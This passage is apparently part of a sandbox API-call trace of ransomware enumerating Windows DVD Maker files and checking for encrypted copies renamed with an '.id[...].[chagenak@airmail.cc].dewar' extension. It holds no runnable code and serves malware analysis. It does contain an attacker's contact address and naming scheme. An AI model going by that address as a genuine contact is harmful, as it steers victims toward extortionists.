(lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.672] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=98824) returned 1 [0245.672] CloseHandle (hObject=0x1b4) returned 1 [0245.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf")) returned 0x20 [0245.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf")) returned 0x20 [0245.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\secretst.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.674] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=12516) returned 1 [0245.674] CloseHandle (hObject=0x1b4) returned 1 [0245.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh")) returned 0x20 [0245.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh")) returned 0x20 [0245.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.677] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=27935) returned 1 [0245.679] CloseHandle (hObject=0x1b4) returned 1 [0245.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png")) returned 0x20 [0245.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png")) returned 0x20 [0245.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.680] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.681] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=751669) returned 1 [0245.681] CloseHandle (hObject=0x1b4) returned 1 [0245.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png")) returned 0x20 [0245.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png")) returned 0x20 [0245.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.686] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=10123) returned 1 [0245.687] CloseHandle (hObject=0x1b4) returned 1 [0245.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png")) returned 0x20 [0245.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png")) returned 0x20 [0245.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.688] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3286) returned 1 [0245.689] CloseHandle (hObject=0x1b4) returned 1 [0245.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png")) returned 0x20 [0245.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png")) returned 0x20 [0245.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.865] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3316) returned 1 [0245.865] CloseHandle (hObject=0x1b4) returned 1 [0245.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png")) returned 0x20 [0245.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png")) returned 0x20 [0245.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0246.022] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=149292) returned 1 [0246.022] CloseHandle (hObject=0x1f0) returned 1 [0246.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv")) returned 0x20 [0246.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv")) returned 0x20 [0246.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0246.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.023] SetEvent (hEvent=0x118) returned 1 [0246.025] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0246.026] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=19477) returned 1 [0246.026] CloseHandle (hObject=0x1f0) returned 1 [0246.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png")) returned 0x20 [0246.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png")) returned 0x20 [0246.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0246.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.027] SetEvent (hEvent=0x118) returned 1 [0246.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0246.029] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=52251) returned 1 [0246.029] CloseHandle (hObject=0x1f0) returned 1 [0246.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png")) returned 0x20 [0246.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png")) returned 0x20 [0246.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0246.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.030] SetEvent (hEvent=0x118) returned 1 [0246.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0246.225] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=181298) returned 1 [0246.225] CloseHandle (hObject=0x1f0) returned 1 [0246.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv")) returned 0x20 [0246.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv")) returned 0x20 [0246.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0246.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.227] SetEvent (hEvent=0x118) returned 1 [0246.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0246.229] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=47300) returned 1 [0246.229] CloseHandle (hObject=0x1f0) returned 1 [0246.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png")) returned 0x20 [0246.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png")) returned 0x20 [0246.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0246.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.230] SetEvent (hEvent=0x118) returned 1 [0246.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0247.323] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=77208) returned 1 [0247.324] CloseHandle (hObject=0x1f0) returned 1 [0247.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv")) returned 0x20 [0247.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv")) returned 0x20 [0247.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0247.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0249.173] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5059) returned 1 [0249.174] CloseHandle (hObject=0x1f0) returned 1 [0249.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png")) returned 0x20 [0249.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png")) returned 0x20 [0249.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.175] SetEvent (hEvent=0x118) returned 1 [0249.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0249.553] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5088) returned 1 [0249.553] CloseHandle (hObject=0x1bc) returned 1 [0249.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png")) returned 0x20 [0249.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png")) returned 0x20 [0249.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.554] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.937] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4563) returned 1 [0249.938] CloseHandle (hObject=0x1fc) returned 1 [0249.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png")) returned 0x20 [0249.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd 